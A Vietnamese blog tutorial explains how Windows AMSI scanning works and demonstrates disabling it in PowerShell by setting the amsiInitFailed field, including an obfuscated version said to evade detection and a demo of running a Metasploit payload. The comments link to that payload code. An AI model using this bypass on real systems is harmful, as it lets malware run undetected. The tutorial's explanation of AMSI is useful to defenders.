Trong môi trường bảo mật Windows, Microsoft đã phát triển AMSI (Antimalware Scan Interface) như một lớp bảo vệ nhằm phát hiện và ngăn chặn mã độc. AMSI được thiết kế để quét và phát hiện ra các dấu hiệu của mã độc có trong các chương trình như PowerShell, macro VBA,… Tuy nhiên, các hacker không ngừng tìm kiếm những cách thức để qua mặt cơ chế bảo vệ này, từ việc mã hóa, làm rối mã (obfuscation), cho đến các kỹ thuật can thiệp trực tiếp vào AMSI.
Tham gia kênh Telegram của AnonyViet 👉 Link 👈 |
Trong bài viết này, mình sẽ giải thích cách thức của kĩ thuật này và vì sao nó có thể qua mặt được cơ chế bảo vệ của Microsoft. Hãy cùng đi sâu vào chi tiết để hiểu rõ hơn về cách AMSI hoạt động và tại sao nó có thể bị vượt qua.
Lưu ý: Bài viết chỉ mang tính chất giáo dục, vui lòng không thực hiện các cuộc tấn công phạm pháp nào. Anonyviet không chịu toàn bộ trách nhiệm mà bạn đã gây ra !
AMSI là gì ?
AMSI (Antimalware Scan Interface) là một cơ chế bảo mật được tích hợp sẵn trên Windows, cho phép các phần mềm chống mã độc quét và phân tích dữ liệu đáng ngờ ngay khi dữ liệu được tải về hoặc chuẩn bị thực thi. Thông qua AMSI, các ứng dụng có thể yêu cầu quét nội dung trước khi lưu trữ hoặc thực thi, nhằm phát hiện sớm các dấu hiệu của mã độc và ngăn chặn mối đe dọa tiềm ẩn. Tuy nhiên, nếu mã độc có thể vô hiệu hóa cơ chế này, nó có thể dễ dàng qua mặt các phần mềm bảo mật, từ đó xâm nhập vào hệ thống mà không bị phát hiện.
AMSI hoạt động như thế nào ?
Khi người dùng thực thi một script hoặc khởi chạy PowerShell, tệp “amsi.dll” sẽ được chèn vào không gian bộ nhớ của tiến trình. Trước khi thực thi, hai API sau được phần mềm AntiVirus sử dụng để quét bộ đệm và chuỗi để phát hiện dấu hiệu của phần mềm độc hại:
- AmsiScanBuffer: được sử dụng để quét một vùng bộ nhớ (buffer) bất kỳ để phát hiện phần mềm độc hại. Thông thường, vùng bộ nhớ này chứa code mà một chương trình như PowerShell, VBA,… đang cố gắng thực thi. AmsiScanBuffer sẽ nhận dữ liệu từ vùng bộ nhớ của tiến trình hiện tại, sau đó gửi dữ liệu này cho phần mềm diệt virus để phân tích và so sánh với các chữ ký hoặc mẫu mã độc đã biết. Nếu phát hiện mã độc, sẽ có kết quả thông báo cho biết mã này có dấu hiệu của phần mềm độc hại và sẽ ngăn chặn không cho thực thi.
- AmsiScanString: được thiết kế để quét một chuỗi ký tự (string) cụ thể nhằm phát hiện các đoạn mã độc hại. Chuỗi này có thể là mã nguồn của một đoạn code hoặc bất kỳ nội dung văn bản nào mà chương trình đang xử lý. Khi một đoạn mã hoặc một chuỗi văn bản được tải vào bộ nhớ và chuẩn bị thực thi, AmsiScanString sẽ quét nội dung chuỗi đó. Tương tự như AmsiScanBuffer, nếu tìm thấy các mẫu mã độc, hàm sẽ ngăn không cho mã được thực thi và cảnh báo người dùng.
Bạn có thể xem bức hình dưới đây để dễ hình dung hơn cách AMSI hoạt động
Như vậy, AmsiScanBuffer thường dùng để quét toàn bộ vùng bộ nhớ lớn chứa mã, còn AmsiScanString chủ yếu dùng cho các chuỗi ký tự cụ thể hoặc các đoạn mã ngắn.
Chính vì do việc quét dựa trên chữ ký nhận diện, các hacker có thể Bypass AMSI bằng cách sử dụng nhiều chiến thuật khác nhau. Mặc dù một số kỹ thuật đã bị chặn, nhưng việc thay đổi chuỗi và biến, mã hóa và làm rối mã lại có thể giúp cho hacker vượt qua dễ dàng hơn kể cả khi dùng tới các kĩ thuật cũ.
Demo kĩ thuật Bypass AMSI và thực thi mã độc từ xa trên Windows 11
Sau một thời gian nghiên cứu thì mình đã tìm được một đoạn script Powershell để làm kĩ thuật này, đoạn mã có nội dung như sau:
1
2 3 |
$AmsiUtils = [Ref].Assembly.GetType(‘System.Management.Automation.AmsiUtils’)
$AmsiInitFailed = $AmsiUtils.GetField(‘amsiInitFailed’, ‘NonPublic,Static’) $AmsiInitFailed.SetValue($null, $true) |
Ở dòng code đầu tiên, biến “$AmsiUtils” sẽ chứa thông tin về Class “AmsiUtils” trong .NET Assembly cho phép truy cập vào thành phần và phương thức của Class “AmsiUtils”. Chi tiết như sau:
- [Ref] : Đây là một kiểu dữ liệu trong .NET cho phép bạn làm việc với tham chiếu đối tượng
- “.Assembly”: trỏ đến assembly (tập hợp mã) của Class “AmsiUtils”
- “GetType(‘System.Management.Automation.AmsiUtils’)” tìm Class có tên là “AmsiUtils” trong namespace “System.Management.Automation”, nơi chứa các thành phần hỗ trợ cho PowerShell.
Dòng code thứ hai sử dụng để lấy tham chiếu đến trường ( hay còn gọi là field ) “amsiInitFailed” của Class “AmsiUtils”. Biến “$AmsiInitFailed” sẽ chứa thông tin về field “amsiInitFailed”, cho phép thay đổi giá trị của nó. Chi tiết như sau:
- “GetField(‘amsiInitFailed’, ‘NonPublic,Static’)” tìm field có tên “amsiInitFailed” với thuộc tính không công khai “NonPublic” và field tĩnh “Static”
- Field “amsiInitFailed” này dùng để kiểm tra trạng thái khởi tạo của AMSI, nếu trả về kết quả là “true”, điều đó cho thấy AMSI đã không được khởi tạo thành công
Đến với dòng code cuối cùng, với dòng code này sẽ thay đổi giá trị của field “amsiInitFailed” thành “true”. Sau khi chạy dòng này, AMSI sẽ bị vô hiệu hóa và bất kỳ mã độc nào có thể thực thi mà không bị phát hiện. Chi tiết như sau:
- “SetValue($null, $true)” được sử dụng để thiết lập giá trị của field “amsiInitFailed”. Với tham số đầu tiên là “$null” vì không có đối tượng cụ thể nào để áp dụng giá trị cho trường tĩnh (static field)
- Bằng cách đặt giá trị này thành “true” là để đánh lừa PowerShell rằng AMSI đã không được khởi tạo, do đó AMSI không quét các tập lệnh PowerShell và cho phép mã độc thực thi. Đọc đến đây, mình khuyên bạn đừng tin tưởng quá vào bất cứ ai nhé, nếu không bạn sẽ bị lừa giống như AMSI đó =))
Với đoạn code trên đã quá phổ biến, vậy nên khi thực thi, AMSI sẽ phát hiện và ngăn chặn.
Vậy làm cách nào mình vẫn thực thi được script Powershell đó ? Đơn giản thôi, mình sẽ xáo trộn đoạn mã đó. Mình đã sử dụng công cụ có tên là AmsiTrigger được phát triển bởi RythmStick, với công cụ này đã giúp mình tìm ra các phần “nhạy cảm” trong đoạn code Bypass AMSI
Bây giờ mình sẽ thay đổi tên biến, xáo trộn các string mà AmsiTrigger đã đưa ra có trong đoạn code, và đây là đoạn mã đã được xáo trộn:
$m1='A';$m3='i';$m2='ms';$m=$m1+$m2+$m3;$a1='am';$a2='si';$a3='Ini';$a4='tFa';$a5='il';$a6='ed';$a=$a1+$a2+$a3+$a4+$a5+$a6;$b1='No';$b2='nPu';$b3='bli';$b4='c,St';$b5='at';$b6='ic';$b=$b1+$b2+$b3+$b4+$b5+$b6;$ex=$null;$extra1=
[Ref];$extra2=$extra1.Assembly;$extra3=$extra2.GetType(‘System.Management.Automation.’+$m+’U’+’tils’);$test=$extra3.GetField($a,$b);$test.SetValue($ex,$true)
Sau khi xáo trộn, đoạn code đã thực thi thành công !
Mọi thứ có vẻ đã ổn, giờ thì thử thực thi một đoạn code độc hại nào đó xem sao, mình sẽ tạo payload Powershell của Metasploit có tên là meter.ps1, sau đó mở server bên phía máy tấn công là Kali Linux để lưu trữ file này
Sau đây là video Demo
AMSI đóng vai trò như một lớp phòng thủ thiết yếu trên Windows, nhưng như chúng ta đã thấy, vẫn tồn tại những phương pháp để vượt qua. Việc áp dụng mã hóa, làm rối mã (obfuscation), và thao tác trực tiếp trên các trường nội bộ có thể giúp mã độc tránh bị phát hiện, đặt ra thách thức không nhỏ cho các giải pháp bảo mật.
Bằng cách nghiên cứu về AMSI và các kỹ thuật bypass, chúng ta có thể chuẩn bị tốt hơn trước các mối đe dọa và bảo mật hệ thống một cách hiệu quả hơn. Đối với các chuyên gia an ninh mạng, việc hiểu rõ các kỹ thuật này không chỉ giúp củng cố hàng rào phòng thủ mà còn giúp nâng cao khả năng phát hiện và ứng phó với các cuộc tấn công mạng ngày càng phức tạp.
cho mình xin mã code độc hại mà có nhắc đến trong bài với được không ạ
Đoạn code meter.ps1 đó hả ?
đúng r
Đây là đoạn code gốc: https://gist.github.com/macostag/f62b688ace243cc7ed426c133ba3efae